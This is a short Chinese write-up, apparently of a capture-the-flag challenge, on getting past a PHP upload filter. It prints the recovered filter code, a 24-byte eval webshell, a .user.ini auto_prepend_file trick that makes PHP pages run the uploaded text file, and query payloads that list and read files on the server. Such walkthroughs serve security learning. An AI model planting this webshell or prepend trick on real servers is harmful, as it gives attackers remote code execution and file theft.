上传一句话木马 1.php文件,显示
再改后缀为.jpg,显示错误文件大小
用dirsearch扫一下
备份文件.bak
下载文件源码
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
要求文件大小少于24字节,文件名少于九个字节,后缀小于三个字节,并且后缀不能是.php ,文件名不能为php。
构造一个一句话的文本文件a.txt,大小刚好24
<?php eval($_POST['a']);
然后构造一个.user.ini文件
auto_prepend_file=a.txt // 意思是所有a.txt文件都以php文件方式打开
在.usr.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。在 .usr.ini 中输入 auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含 a.txt 的内容 。
上传成功之后,但蚁剑这里连接不上,可能是.txt文件蚁剑无法通过php进行解析吧。第二种方法:
?a=print_r(glob("*")); // 显示所有文件
?a=highlight_file("文件名"); //显示文件到前端
记得后面要打 ;